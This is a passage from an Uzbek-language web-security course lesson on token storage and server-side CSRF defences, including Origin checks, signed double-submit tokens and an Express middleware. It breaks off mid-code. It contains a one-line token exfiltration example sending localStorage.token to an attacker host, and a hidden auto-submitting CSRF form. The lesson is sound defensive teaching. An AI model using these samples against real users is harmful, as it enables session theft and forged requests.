IlmHamroh
JavaScript Full-stack/28-qism. Autentifikatsiya va backend xavfsizligi10/31-dars24 daqiqa
Mundarija (33)

Tokenni qayerda saqlash va CSRF: HttpOnly cookie, SameSite, Origin tekshiruvi va BFF

Qisqacha: Token localStorage da tursa, sahifaga tushgan begona skript (XSS) uni o'qib oladi. HttpOnly cookie'da tursa, skript uni o'qiy olmaydi. Lekin brauzer cookie'ni har so'rovga o'zi qo'shadi — boshqa sahifa sizning nomingizdan so'rov yuborishi mumkin (CSRF). Shuning uchun cookie tanlansa, CSRF himoyasi ham qo'yiladi: SameSite=Lax, JSON talabi va o'zgartiruvchi so'rovda Origin sarlavhasini tekshirish. Kanon haqiqiy brauzerda shuni ko'rsatdi: SameSite=Lax bir sayt ichidagi boshqa port'dan kelgan hujumni to'xtatmaydi — Origin tekshiruvi kerak.

Bu darsda

  • Tokenni xotira, localStorage va HttpOnly cookie'da saqlashning xavflarini solishtirasiz.
  • "Origin" va "sayt" farqini va nega SameSite faqat saytni ko'rishini tushuntirasiz.
  • Kanon haqiqiy brauzerda topgan CSRF teshigini va uning sababini ko'rasiz.
  • Origin / Sec-Fetch-Site tekshiruvi, CSRF tokeni, double-submit cookie va BFF naqshini taqqoslaysiz.
  • vazifalar-api ga csrf.ts middleware'ini, uning testlarini va Playwright bilan brauzer sinovini qo'shasiz.

Oldin bilishingiz kerak: Brauzer xavfsizlik modeli (CSRF va SameSite asoslari), Autentifikatsiyali so'rovlar va token yangilash (token saqlash jadvali), Cookie chuqur, Session-based auth, Access va refresh token strategiyasi.

Access va refresh token strategiyasi darsida tokenlar qanday yashashini va aylanishini ko'rdik. Bugungi savol oddiyroq ko'rinadi: token brauzerda qayerda turadi? Lekin xatolarning ko'pi aynan shu yerda. Brauzer xavfsizlik modeli darsida CSRF'ni frontend tomondan ko'rgandik va "server tomonidagi himoya — backend qismida" degandik. Endi shu va'dani bajaramiz.

1. Nega bu kerak?

Sessiya tokeni — eshik kaliti. Uni kim ushlasa, o'sha foydalanuvchi bo'ladi. Kalitni ikki xil o'g'ri ovlaydi:

  • Cho'ntakkesar — sahifaga kirib olgan begona skript (XSS, XSS va DOM xavfsizligi). U kalitni olib, o'z serveriga yuboradi. Keyin hujumchi o'z kompyuteridan siz bo'lib kiradi.
  • Firibgar — kalitni olmaydi. U sizni o'z sahifasiga olib kiradi va sizning brauzeringiz orqali sizning nomingizdan so'rov yuboradi. Brauzer cookie'ni o'zi qo'shgani uchun server "bu Aziz" deb o'ylaydi. Bu — CSRF (Cross-Site Request Forgery — saytlararo soxta so'rov).

Bitta joy ikkalasidan ham himoya qilmaydi. localStorage CSRF'dan xoli, lekin cho'ntakkesarga ochiq. HttpOnly cookie cho'ntakkesardan yashiradi, lekin firibgarga eshik qoldiradi. Demak savol "qaysi joy xavfsiz?" emas, "qaysi joyni tanlaymiz va uning zaif tomonini qanday yopamiz?".

2. Token qayerda turadi

2.1 To'rt joy

Autentifikatsiyali so'rovlar va token yangilash darsidagi jadvalni server ko'zi bilan to'ldiramiz:

Joy XSS skripti o'qiy oladimi CSRF xavfi Sahifa yangilansa
JS o'zgaruvchisi (xotira) qiyin, lekin skript so'rovni o'zi yubora oladi yo'q yo'qoladi
sessionStorage ha yo'q tab yopilguncha
localStorage ha, bitta qatorda yo'q saqlanadi
HttpOnly cookie yo'q bor — himoya kerak saqlanadi

localStorage dagi token uchun hujumchiga bitta qator yetadi: fetch("https://yovuz.uz/?t=" + localStorage.token). Token ketdi va sahifa yopilgandan keyin ham ishlayveradi.

HttpOnly cookie ham XSS'dan to'liq himoya qilmaydi: skript cookie'ni o'qiy olmaydi, lekin sahifa ichidan fetch("/v1/vazifalar", …) yubora oladi. Farqi — hujum faqat sahifa ochiq paytda ishlaydi va token hujumchiga o'tmaydi. XSS'ning asl davosi — XSS'ning o'zini yo'qotish (XSS va DOM xavfsizligi, CSP — Helmet va xavfsizlik header'lari).

vazifalar-api Session-based auth darsidan beri sessiya tokenini __Host-sessiya cookie'sida beradi: HttpOnly; Secure; SameSite=Lax; Path=/. Kanon frontend'ni API'ga ulab, haqiqiy brauzerda (Playwright, Chromium 151) tekshirganda shu natija chiqdi:

text
1) brauzer cookie'lari: __Host-sessiya (httpOnly=true, secure=true, sameSite=Lax, path=/, doimiy)
1) document.cookie (JS ko'radigani): ""

document.cookie — bo'sh satr. Sahifadagi hech qaysi skript, jumladan hujumchiniki ham, tokenni ko'rmaydi. Frontend'ning localStorage ida faqat ko'rsatish uchun ism qoldi ({"ism":"Aziz Karimov"}) — u sir emas, uni o'g'irlab hech narsa qilib bo'lmaydi.

Bu tanlovning narxi — CSRF. Darsning qolgan qismi shu haqda.

Tekshirib ko'ring: Ilova tokenni localStorage da saqlaydi va har so'rovda Authorization: Bearer … sarlavhasi bilan yuboradi. Unga CSRF himoyasi kerakmi?

Javob

Yo'q. CSRF faqat brauzer o'zi qo'shadigan ishonch ma'lumotiga (cookie, HTTP Basic) hujum qiladi. Authorization sarlavhasini esa faqat sizning JS kodingiz qo'yadi — begona sahifa uni bilmaydi va qo'ya olmaydi. Lekin buning evaziga token XSS uchun ochiq. Kanon middleware'i ham shu mantiqqa tayanadi: cookie'siz so'rov CSRF tekshiruvidan o'tkazilmaydi.

3. CSRF: qisqa takror va bitta muhim farq

3.1 Hujum qanday ketadi

Mexanizmni Brauzer xavfsizlik modeli darsidan bilasiz. Bitta rasmda:

sequenceDiagram
  participant A as Aziz brauzeri
  participant V as vazifalar-api
  participant Y as Hujumchi sahifasi
  A->>V: POST /v1/auth/kirish
  V-->>A: Set-Cookie: __Host-sessiya
  A->>Y: havolani ochadi
  Y-->>A: forma + avtomatik submit()
  A->>V: POST /v1/auth/chiqish-hammasi (cookie bilan)
  V-->>A: hamma sessiyalar bekor

Diagrammadagi asosiy qadam — oxiridan bittasi oldingi: so'rovni Aziz brauzeri yuboradi va cookie'ni o'zi qo'shadi. Hujumchi cookie'ni ko'rmaydi va javobni o'qiy olmaydi (same-origin policy). Unga buning keragi ham yo'q — unga yon ta'sir (o'chirish, chiqarib yuborish, o'zgartirish) kerak.

3.2 Origin va sayt — ikki xil narsa

SameSite atributi nomida javob bor: u saytga qaraydi, origin'ga emas.

  • Origin — sxema + host + port: http://localhost:5173.
  • Sayt (site) — sxema + "ro'yxatdan o'tgan domen" (domen va uning ochiq qo'shimchasi, masalan vazifalar.uz). Port va subdomen hisobga olinmaydi.

Quyidagi funksiya buni soddalashtirib hisoblaydi — domenning oxirgi ikki bo'lagini oladi:

js
// "Sayt" — sxema + ro'yxatdan o'tgan domen (soddalashtirilgan:
// oxirgi ikki bo'lak). Haqiqiy brauzer Public Suffix List'ga qaraydi
function sayt(manzil) {
  const { protocol, hostname } = new URL(manzil);
  const bolak = hostname.split(".");
  const ipmi = /^[\d.]+$/.test(hostname);
  const asos = ipmi ? hostname : bolak.slice(-2).join(".");
  return `${protocol}//${asos}`;
}

function solishtir(a, b) {
  const origin = new URL(a).origin === new URL(b).origin;
  const birSayt = sayt(a) === sayt(b);
  console.log(
    `${a} → ${b}:`,
    `origin ${origin ? "bir" : "boshqa"},`,
    `sayt ${birSayt ? "bir" : "boshqa"}`,
  );
}

solishtir("http://localhost:5173", "http://localhost:3000");
solishtir("http://127.0.0.1:4340", "http://localhost:4340");
solishtir("https://app.vazifalar.uz", "https://api.vazifalar.uz");
solishtir("https://yovuz.uz", "https://api.vazifalar.uz");
solishtir("http://vazifalar.uz", "https://vazifalar.uz");

Konsolda:

text
http://localhost:5173 → http://localhost:3000: origin boshqa, sayt bir
http://127.0.0.1:4340 → http://localhost:4340: origin boshqa, sayt boshqa
https://app.vazifalar.uz → https://api.vazifalar.uz: origin boshqa, sayt bir
https://yovuz.uz → https://api.vazifalar.uz: origin boshqa, sayt boshqa
http://vazifalar.uz → https://vazifalar.uz: origin boshqa, sayt boshqa

Birinchi va uchinchi qatorlar — darsning kaliti. Vite dev serveri (:5173) va API (:3000) — bir sayt. app. va api. subdomenlari — bir sayt. Ular uchun SameSite=Lax ham, Strict ham hech narsa qilmaydi: cookie har doim yuboriladi. Oxirgi qator — zamonaviy Chromium sxemani ham hisobga oladi (schemeful same-site): http va https — boshqa saytlar.

Soddalashtirish haqida: github.io yoki co.uk da "oxirgi ikki bo'lak" xato beradi — brauzer Public Suffix List ro'yxatiga qaraydi.

3.3 Brauzer nima qildi — o'lchov

Cookie chuqur darsidagi kanon tajribasi buni haqiqiy Chromium'da tekshirgan. Cookie'lar localhost:4340 da, hujum sahifasi ikki joyda. Strelkadan keyin — so'rov bilan qaysi cookie'lar ketgani (none — birortasi ham ketmadi):

text
--- boshqa sayt (127.0.0.1):
  fetch-include  → none
  forma-post     → none
  havola-GET     → __Host-sid,__Secure-s,httponly,lax,none,secure,sukut
--- bir sayt, boshqa port (localhost):
  fetch-include  → __Host-sid,__Secure-s,httponly,lax,none,qisqa,secure,strict,sukut
  forma-post     → __Host-sid,__Secure-s,httponly,lax,none,qisqa,secure,strict,sukut

Nima bo'ldi? Cookie'lar nomi — ularning SameSite qiymati: lax, strict, none, sukut (atributsiz). Boshqa saytdan forma POST'ida faqat SameSite=None cookie ketdi — Lax ishladi. Bir saytning boshqa port'idan esa hammasi ketdi, hatto strict ham. Uzunroq ro'yxatni qisqartirdik (iframe va rasm qatorlari xuddi shunday).

4. Kanon topilmasi: o'zimiz yozgan teshik

4.1 Hujum

Session-based auth darsida POST /v1/auth/chiqish-hammasi ni qo'shgandik — "barcha qurilmalardan chiqish". U tanasiz: hech qanday JSON kutmaydi. Kanon shu kod ustida Playwright bilan hujumni sinadi: Aziz API'ga kirgan, keyin bir saytdagi boshqa port sahifasini ochadi. Sahifa ichida — bitta yashirin forma va bitta qator JS:

html
<iframe name="n"></iframe>
<form id="f" method="post" target="n"
  action="http://localhost:4310/v1/auth/chiqish-hammasi"></form>
<script>document.getElementById("f").submit()</script>

Port raqami — misol uchun; testda API tasodifiy portda ishlaydi. Natija (Origin tekshiruvi hali yo'q kodda; vaqt qiymatlari va takrorlangan "failing tests" qatorlarini tushirib qoldirdik):

text
  ✖ bir sayt, boshqa origin (localhost:<p>) — cookie YUBORILADI (SameSite=Lax yetmaydi) → Origin tekshiruvi 403, sessiya tirik
  ✔ boshqa sayt (127.0.0.1:<p>) — SameSite=Lax cookie'ni yubormaydi → sessiya tirik
✔ bir saytdan no-cors fetch text/plain bilan vazifa yaratish — 415/403, vazifa yaratilmaydi
✔ o'z sahifasidan (bir origin) fetch POST JSON — ishlaydi (201)
  AssertionError [ERR_ASSERTION]: hujum sessiyalarni bekor qildi

Birinchi qator yiqildi: "hujum sessiyalarni bekor qildi". Aziz bitta havolani ochdi — hamma qurilmalarida tizimdan chiqarildi. Yon qatorlarga ham qarang:

  • Boshqa sayt (127.0.0.1) — SameSite=Lax ishladi, cookie ketmadi.
  • Vazifa yaratish bir saytdan ham o'xshamadi: fetch text/plain bilan yubordi, API esa application/json talab qiladi (25-qismdagi jsonKerak) → 415. JSON talabi — CSRF'ga qarshi kuchli qatlam: oddiy forma JSON yubora olmaydi, fetch esa application/json bilan cross-origin yuborsa — brauzer avval preflight so'raydi, CORS esa ruxsat bermaydi.

4.2 Nega aynan shu endpoint

Teshik uch shart birga kelganda ochildi:

  1. Hujum sahifasi bir saytda — SameSite himoya qilmaydi.
  2. Endpoint tanasiz — JSON talabi unga qo'yilmagan (tekshiradigan tana yo'q).
  3. Endpoint yon ta'sirli — ma'lumot o'zgaradi.

"Bir saytda hujumchi bo'ladimi?" degan savol tug'iladi. Bo'ladi: subdomendagi eski blog, foydalanuvchilar sahifa joylaydigan sahifa.vazifalar.uz, XSS topilgan qo'shni ilova, dev mashinasidagi boshqa lokal server. Hammasi — bir sayt.

Halol xulosa: teshik dars uchun ataylab qo'yilmagan — uni o'zimiz yozdik va faqat haqiqiy brauzer testi topdi. Supertest buni ko'rsatmaydi: u brauzer emas va SameSite qoidalarini bilmaydi.

5. Himoya usullari

5.1 Beshta vosita

Usul Qanday ishlaydi Kamchiligi
SameSite=Lax/Strict boshqa saytdan cookie yuborilmaydi bir sayt ichida yordam bermaydi
JSON yoki maxsus sarlavha talabi forma yubora olmaydi, cross-origin fetch preflight'ga to'qnashadi tanasiz endpoint'lar ochiq qoladi; CORS noto'g'ri sozlansa buziladi
Origin / Sec-Fetch-Site tekshiruvi brauzer qo'ygan "so'rov qayerdan" sarlavhasi tekshiriladi Origin yo'q eski klientlar; proxy'da Host buzilsa — yolg'on 403
CSRF tokeni (synchronizer) server sahifaga sir token beradi, so'rov uni qaytarishi shart holat kerak; har formaga token qo'yish
Double-submit cookie bir xil token cookie'da va sarlavhada; imzolangan varianti — HMAC bilan subdomen cookie yoza olsa — imzosizi buziladi

OWASP CSRF Prevention Cheat Sheet bu usullarning hammasini tavsiflaydi va ularni qatlam-qatlam birga ishlatishni maslahat beradi. Kanon uchta qatlamni tanladi: SameSite=Lax + JSON talabi + Origin tekshiruvi.

5.2 Origin va Sec-Fetch-Site

Brauzer har cross-origin so'rovga va har POST'ga Origin sarlavhasini qo'yadi: so'rov qaysi sahifadan ketgani. Bu sarlavha taqiqlangan sarlavhalar (forbidden headers) ro'yxatida — sahifadagi JS uni o'zgartira olmaydi. Hujumchi fetch ga headers: { Origin: … } yozsa, brauzer buni e'tiborsiz qoldiradi.

Ikkinchi sarlavha — Sec-Fetch-Site (Fetch Metadata oilasi): brauzer o'zi yozadigan qisqa baho. Qiymatlari: same-origin, same-site, cross-site, none (foydalanuvchi manzilni o'zi yozdi yoki xatcho'pdan ochdi). Sec- bilan boshlanadigan sarlavhalarni ham JS qo'ya olmaydi.

Kanon mantiqi — toza funksiya ko'rinishida (Express'siz):

js
const XAVFSIZ = new Set(["GET", "HEAD", "OPTIONS"]);

// Kanon middleware'ining mantiqi — Express'siz, toza funksiya
function csrfQarori(s, oz, ruxsat) {
  if (XAVFSIZ.has(s.metod) || !s.cookie) return "o'tadi";
  if (s.origin !== undefined) {
    const yaxshi = s.origin === oz || ruxsat.includes(s.origin);
    return s.origin !== "null" && yaxshi ? "o'tadi" : "403 csrf";
  }
  const sfs = s.secFetchSite;
  if (sfs === "cross-site" || sfs === "same-site") return "403 csrf";
  return "o'tadi";
}

const OZ = "http://localhost:3000";
const RUXSAT = ["http://localhost:5173"];
const SOROVLAR = [
  { nom: "o'z sahifasi", metod: "POST", cookie: true, origin: OZ },
  { nom: "frontend", metod: "POST", cookie: true,
    origin: "http://localhost:5173" },
  { nom: "boshqa port", metod: "POST", cookie: true,
    origin: "http://localhost:5174" },
  { nom: "sandbox", metod: "DELETE", cookie: true, origin: "null" },
  { nom: "GET begona", metod: "GET", cookie: true,
    origin: "https://yovuz.uz" },
  { nom: "curl", metod: "POST", cookie: false },
  { nom: "origin yo'q", metod: "POST", cookie: true,
    secFetchSite: "same-site" },
];

for (const s of SOROVLAR) {
  console.log(s.nom.padEnd(13), csrfQarori(s, OZ, RUXSAT));
}

Konsolda:

text
o'z sahifasi  o'tadi
frontend      o'tadi
boshqa port   403 csrf
sandbox       403 csrf
GET begona    o'tadi
curl          o'tadi
origin yo'q   403 csrf

Har qatorni o'qib chiqing:

  • frontend — CORS ro'yxatidagi origin; ruxsat ro'yxati (allowlist) bir joyda saqlanadi.
  • boshqa port — bir sayt, lekin boshqa origin: endi 403. Aynan kanon topgan hujum.
  • sandbox — Origin: null. Sandbox iframe, file:// sahifa va ba'zi yo'naltirishlar shunday yuboradi. Hech qachon ishonchli emas.
  • GET begona — o'tadi. Shart: GET hech narsani o'zgartirmaydi (HTTP metodlari semantikasi). Agar sizda GET /ochir?id=5 bo'lsa — CSRF himoyasi uni qutqarmaydi.
  • curl — cookie yo'q, demak brauzer emas yoki foydalanuvchi kirmagan. CSRF bo'lishi mumkin emas.
  • origin yo'q — Sec-Fetch-Site ga qaraymiz; u ham yo'q bo'lsa (juda eski brauzer, server-server) — o'tkazamiz.

5.3 CSRF tokeni va double-submit

Klassik usul — CSRF tokeni (synchronizer token): server sessiyaga sir token yozadi, uni sahifaga (forma ichiga) qo'yadi, so'rov uni qaytarishi shart. Hujumchi sahifasi tokenni o'qiy olmaydi (same-origin policy) — demak so'rov yasay olmaydi. Server-side HTML (forma) ilovalarida bu eng keng tarqalgan yo'l (Template engine'lar va server-side HTML).

Double-submit cookie — holatsiz varianti: token cookie'da ham, sarlavhada ham keladi, server ikkalasi tengligini tekshiradi. Begona sahifa cookie'ni o'qiy olmaydi, demak sarlavhaga yoza olmaydi. Kamchiligi: subdomen (masalan, buzilgan blog.vazifalar.uz) asosiy domen uchun cookie yozishi mumkin — u o'z tokenini cookie'ga ham, sarlavhaga ham qo'yadi. Shuning uchun tavsiya — imzolangan double-submit: token sessiyaga bog'lanib, server siri bilan HMAC qilinadi. Uchinchi mashqda uni Web Crypto bilan yozasiz.

Node'da tayyor paket — csrf-csrf (kanon ko'rib chiqqan versiyasi 4.0.3). Kanon uni qo'shmadi: frontend JSON yuboradi, Origin ni brauzer qo'yadi — token yangi himoya bermaydi. Server HTML forma chizadigan ilovada esa token kerak.

5.4 Login CSRF

Kam tilga olinadigan variant: hujumchi sizni o'z hisobiga kiritib qo'yadi. Siz sezmaysiz, so'ng qidiruv tarixi yoki yuklagan faylingiz hujumchi hisobiga tushadi. Qurbonda hali cookie yo'q, shuning uchun bizning CSRF middleware'i bu so'rovni tekshirmaydi. Lekin vazifalar-api da bu hujum baribir yopiq: /v1/auth/kirish faqat JSON tana qabul qiladi. Oddiy forma JSON yubora olmaydi, begona sahifadan application/json bilan fetch esa preflight so'rovga to'qnashadi va CORS unga ruxsat bermaydi.

Tekshirib ko'ring: Nega csrfQarori da Origin ni startsWith bilan emas, aniq tenglik bilan solishtirdik?

Javob

"http://localhost:5173.yovuz.example".startsWith("http://localhost:5173") — true. Hujumchi o'z domenini sizning origin'ingiz bilan boshlab qo'yishi mumkin. Kanon testida aynan shu satr bor va u 403 olishi tekshiriladi. Ikkinchi mashq — shu xato haqida.

6. BFF naqshi

Frontend va API boshqa saytlarda bo'lsa-chi (masalan, frontend vazifalar.pages.dev, API api.vazifalar.uz)? Unda cookie SameSite=None; Secure bo'lishi, fetch credentials: "include" bilan yuborilishi va CORS credentials ga ruxsat berishi kerak (CORS chuqur). Brauzerlar uchinchi tomon cookie'larini tobora cheklayapti — bu yo'l mo'rt.

Muqobili — BFF (Backend for Frontend): frontend bilan bir saytda turadigan kichik server. Brauzer faqat u bilan gaplashadi (sessiya cookie'si — HttpOnly, SameSite=Lax), BFF esa ichkarida haqiqiy API'ga o'z tokeni bilan murojaat qiladi. Brauzerda hech qanday token yo'q. OAuth bilan ishlaydigan SPA'lar uchun bu naqshni IETF ham tavsiya qiladi ("OAuth 2.0 for Browser-Based Applications" qoralamasi).

Kanon qarori: alohida BFF kerak emas. Bizning frontend va API bir saytda — dev'da Vite proxy orqali, keyinroq deploy qismida bitta domen ostida nginx orqali. Proxy aslida BFF'ning eng sodda shakli: brauzer bitta origin'ni ko'radi.

Bitta tuzoq bor va kanon unga tushdi. Frontend'ni ulashda Vite proxy'da changeOrigin: true qolgan edi. Bu sozlama Host sarlavhasini API manziliga almashtiradi, brauzer esa Origin ga frontend manzilini yozadi. Natijada 403 larga va oxirgi qatordagi 200 ga qarang:

text
2) qo'shish: so'rovlar: POST /v1/vazifalar 403, GET /v1/vazifalar?limit=100 200; ekrandagi xabar: ["Saqlanmadi: So'rov boshqa sahifadan kelgan (Origin: http://127.0.0.1:4382) — rad etildi"]
4) chiqish: URL /kirish?keyin=%2F; so'rovlar: POST /v1/auth/chiqish 403; cookie'lar: __Host-sessiya; localStorage foydalanuvchi: null
4) chiqqandan keyin GET /v1/vazifalar (JS'dan): 200

CSRF himoyasi o'z foydalanuvchimizni to'xtatdi (Origin — :4382, Host — :4381). Undan yomoni: chiqish 403 oldi, UI esa "chiqdi" deb ko'rsatdi, sessiya esa tirik qoldi. Tuzatish — changeOrigin ni olib tashlash va chiqishda server javobini kutish. Frontend ulanishini OWASP API Security Top 10 darsi atrofida to'liq qilamiz. Saboq: Origin tekshiruvi Host ga tayanadi — proxy uni o'zgartirmasin.

7. Hujumchi nigohi

Oxirgi ustun — himoyani qaysi sinov tasdiqlaydi.

Hujum Nima uchun ishlaydi Himoya Test
XSS skripti localStorage dan tokenni oladi token JS uchun ochiq HttpOnly cookie; XSS'ni yo'qotish (CSP) brauzer: document.cookie — ""
boshqa saytdan avtomatik forma POST brauzer cookie'ni qo'shadi SameSite=Lax e2e: sessiya tirik
bir saytning boshqa port/subdomenidan forma SameSite saytni ko'radi Origin / Sec-Fetch-Site tekshiruvi e2e va csrf.test.ts: 403
fetch text/plain bilan JSON'ga o'xshash tana "oddiy so'rov" — preflight yo'q JSON talabi (415) e2e: vazifa yaratilmadi
Origin: http://localhost:5173.yovuz.example startsWith bilan solishtirish aniq tenglik, Set csrf.test.ts: 403
sandbox iframe'dan Origin: null null ni ro'yxatga qo'shish "null" hech qachon ishonchli emas csrf.test.ts: 403
GET /ochir?id=5 havolasi GET yon ta'sirli GET faqat o'qiydi — (kod qoidasi)
hujumchi sizni o'z hisobiga kiritadi (login CSRF) login forma qabul qiladi login faqat JSON — (JSON talabi)

Barcha hujumlar faqat o'zingizning lokal loyihangizda sinaladi — kanon ham shunday qildi: API, "hujumchi" sahifasi va brauzer bitta kompyuterda.

8. Ko'p uchraydigan xatolar

Xato Nega xavfli To'g'risi
"SameSite=Lax bor — CSRF yo'q" subdomen va boshqa port — bir sayt Origin tekshiruvi ham
tanasiz POST endpoint'ni unutish JSON talabi unga ishlamaydi middleware hamma o'zgartiruvchi metodga
Origin ni startsWith/regex bilan tekshirish …5173.yovuz.example o'tadi aniq tenglik
"null" ni ruxsat ro'yxatiga qo'shish sandbox iframe har saytdan null yuboradi null — rad
proxy'da changeOrigin: true Host ≠ Origin — o'z frontend'ingiz 403 Host ni saqlash
CORS origin: true (har origin'ni aks ettirish) + credentials har sayt javobni o'qiy oladi aniq ro'yxat

9. Mashqlar

Mashqlar kurs/mashqlar/28/10-csrf/ da.

1-mashq (oson): to'g'ri yoki noto'g'ri

  1. HttpOnly cookie XSS'dan to'liq himoya qiladi.
  2. http://localhost:5173 va http://localhost:3000 — bir sayt.
  3. Sahifadagi JS fetch da Origin sarlavhasini o'zgartira oladi.
  4. Authorization: Bearer bilan ishlaydigan API'ga CSRF xavfi yo'q.
  5. GET so'rov uchun CSRF tekshiruvi kerak emas, agar u hech narsani o'zgartirmasa.
Yechim
  1. Noto'g'ri — skript tokenni o'qiy olmaydi, lekin sahifa ochiq paytda o'zi so'rov yubora oladi (cookie qo'shiladi).
  2. To'g'ri — port sayt tushunchasiga kirmaydi; origin'lar esa boshqa.
  3. Noto'g'ri — Origin taqiqlangan sarlavha, uni brauzer qo'yadi.
  4. To'g'ri — sarlavhani faqat sizning kodingiz qo'yadi; lekin token JS uchun ochiq bo'ladi.
  5. To'g'ri — shuning uchun kanon GET, HEAD, OPTIONS ni o'tkazib yuboradi. Yon ta'sirli GET — alohida xato.

2-mashq (o'rta): startsWith tuzog'i

Quyidagi tekshiruvda xato bor: RUXSAT.some((r) => origin.startsWith(r)). ishonchliOrigin(origin) funksiyasini yozing: faqat ro'yxatdagi origin'ga aniq mos kelsa true; undefined va "null" — false. Ro'yxat: http://localhost:5173, https://vazifalar.uz. Beshta qiymatda ikkala tekshiruvni yonma-yon chiqaring: o'z frontend'ingiz, http://localhost:5173.yovuz.example, https://vazifalar.uz.yovuz.example, https://vazifalar.uz:8443, "null". Ishora: Set va has (Set).

Yechim
js
const RUXSAT = ["http://localhost:5173", "https://vazifalar.uz"];

// Xato: "boshlanishi mos kelsa — bizniki"
function zaifTekshiruv(origin) {
  return RUXSAT.some((r) => origin.startsWith(r));
}

// To'g'ri: aniq tenglik, "null" va bo'sh qiymat — rad
const TOPLAM = new Set(RUXSAT);
function ishonchliOrigin(origin) {
  if (origin === undefined || origin === "null") return false;
  return TOPLAM.has(origin);
}

const SINOV = [
  "http://localhost:5173",
  "http://localhost:5173.yovuz.example",
  "https://vazifalar.uz.yovuz.example",
  "https://vazifalar.uz:8443",
  "null",
];
for (const o of SINOV) {
  console.log(zaifTekshiruv(o), ishonchliOrigin(o), o);
}

Konsolda:

text
true true http://localhost:5173
true false http://localhost:5173.yovuz.example
true false https://vazifalar.uz.yovuz.example
true false https://vazifalar.uz:8443
false false null

Zaif tekshiruv uchta begona origin'ni o'tkazib yubordi. To'rtinchisi (:8443) yovuz bo'lmasligi mumkin, lekin u boshqa origin — ro'yxatda bo'lmasa, rad etilishi kerak. origin hech qachon "o'xshash" bo'lib solishtirilmaydi: yoki aynan o'zi, yoki yo'q.

3-mashq (qiyin): imzolangan double-submit token

tokenYasa(sessiyaId, tasodif) va tokenTekshir(cookieToken, sarlavhaToken, sessiyaId) ni Web Crypto bilan yozing. Token: <hmac>.<tasodif>, bu yerda hmac = HMAC-SHA256(SIR, sessiyaId + "!" + tasodif) (base64url). Tekshiruv: ikki token bor va teng; hmac qayta hisoblansa mos keladi. To'rt holatni sinang: to'g'ri; sarlavha yo'q; boshqa sessiya; soxta imzo (AAAA.Qw3rTy9). Token uzunligini ham chiqaring. Ishora: crypto.subtle.importKey("raw", …, { name: "HMAC", hash: "SHA-256" }, false, ["sign", "verify"]), crypto.subtle.sign("HMAC", kalit, baytlar) (crypto 1: tasodif, hash va HMAC); base64url — btoa va replaceAll.

Yechim
js
const enc = new TextEncoder();
const b64url = (baytlar) =>
  btoa(String.fromCharCode(...baytlar))
    .replaceAll("+", "-").replaceAll("/", "_").replace(/=+$/, "");

// namuna sir — haqiqiy loyihada .env dan, kamida 32 bayt
const SIR = enc.encode("namuna-sir-faqat-dars-uchun-32-bayt!");
const kalit = await crypto.subtle.importKey(
  "raw", SIR, { name: "HMAC", hash: "SHA-256" }, false,
  ["sign", "verify"],
);

async function imzo(sessiyaId, tasodif) {
  const b = await crypto.subtle.sign(
    "HMAC", kalit, enc.encode(`${sessiyaId}!${tasodif}`));
  return b64url(new Uint8Array(b));
}

async function tokenYasa(sessiyaId, tasodif) {
  return `${await imzo(sessiyaId, tasodif)}.${tasodif}`;
}

async function tokenTekshir(cookieToken, sarlavhaToken, sessiyaId) {
  if (!cookieToken || cookieToken !== sarlavhaToken) return false;
  const [hmac, tasodif] = cookieToken.split(".");
  if (!hmac || !tasodif) return false;
  return (await imzo(sessiyaId, tasodif)) === hmac;
}

// tasodif — odatda crypto.getRandomValues; natija bir xil bo'lsin
// deb bu yerda qat'iy
const t = await tokenYasa("sessiya-17", "Qw3rTy9");
console.log(t.length);
console.log(await tokenTekshir(t, t, "sessiya-17"));
console.log(await tokenTekshir(t, undefined, "sessiya-17"));
console.log(await tokenTekshir(t, t, "sessiya-99"));
const soxta = "AAAA.Qw3rTy9";
console.log(await tokenTekshir(soxta, soxta, "sessiya-17"));

Konsolda:

text
51
true
false
false
false

51 = 43 (HMAC, 32 bayt base64url) + 1 (nuqta) + 7 (tasodif). Uchinchi holat — imzoning asosiy foydasi: subdomen o'z tokenini cookie'ga yozsa ham, u boshqa sessiya uchun yasalgan va rad etiladi. Ishlab chiqarishda imzolarni === bilan emas, vaqtga bog'liq bo'lmagan usulda solishtiring (crypto.subtle.verify yoki Node'da timingSafeEqual).

10. Loyiha qadami: csrf.ts va brauzer sinovi

10.1 Middleware

Yangi fayl src/auth/csrf.ts. Telefon uchun uzun qatorlarni bo'ldik va izohlarni qisqartirdik, kod ma'nosi kanondagidek (bo'lingan nusxa tip, lint va testdan o'tdi — biz tekshirdik):

ts
// csrf.ts — CSRF himoyasi. Sessiya cookie'sini brauzer HAR so'rovga
// o'zi qo'shadi — boshqa sahifa ham shu cookie bilan so'rov yubora
// oladi. Uch qatlam: (1) SameSite=Lax — BOSHQA saytdan POST/fetch'da
// cookie yo'q; (2) JSON talabi (jsonKerak, 415) — oddiy forma JSON
// yubora olmaydi; (3) shu middleware — o'zgartiruvchi so'rovda
// Origin (yoki Sec-Fetch-Site) tekshiruvi. (3) nega kerak: BIR
// saytning boshqa origin'i (localhost:5174 → localhost:3000) uchun
// SameSite himoya qilmaydi.
// Double-submit token (csrf-csrf) — muqobil; bizga kerak emas:
// Origin'ni brauzer qo'yadi, JS uni o'zgartira olmaydi.
import type { RequestHandler } from "express";
import { IlovaXatosi } from "../umumiy/xatolar.ts";

const XAVFSIZ = new Set(["GET", "HEAD", "OPTIONS"]);

export class CsrfXatosi extends IlovaXatosi {
  constructor(sabab: string) {
    super(
      403,
      `So'rov boshqa sahifadan kelgan (${sabab}) — rad etildi`,
      { kod: "csrf", sarlavha: "Ruxsatsiz manba" },
    );
  }
}

/**
 * @param ishonchli o'z origin'imizdan tashqari ruxsat etilgan
 * origin'lar (CORS ro'yxati — frontend)
 * Cookie'siz so'rov (curl, server-server, API kaliti) tekshirilmaydi:
 * CSRF — faqat brauzer o'zi qo'shadigan ishonch ma'lumoti hujumi.
 */
export function csrfHimoya(
  ishonchli: readonly string[],
): RequestHandler {
  const ruxsat = new Set(ishonchli);
  return (req, _res, next) => {
    if (XAVFSIZ.has(req.method) || req.headers.cookie === undefined) {
      next();
      return;
    }
    const origin = req.get("origin");
    if (origin !== undefined) {
      // "null" — sandbox iframe, file://, ba'zi redirect'lar:
      // hech qachon ishonchli emas
      const oz = `${req.protocol}://${req.get("host") ?? ""}`;
      if (
        origin !== "null" &&
        (origin === oz || ruxsat.has(origin))
      ) {
        next();
        return;
      }
      throw new CsrfXatosi(`Origin: ${origin.slice(0, 100)}`);
    }
    // Origin yo'q (eski brauzer yoki brauzer emas): Fetch Metadata
    // bo'lsa — faqat same-origin yoki foydalanuvchi o'zi (none)
    const sfs = req.get("sec-fetch-site");
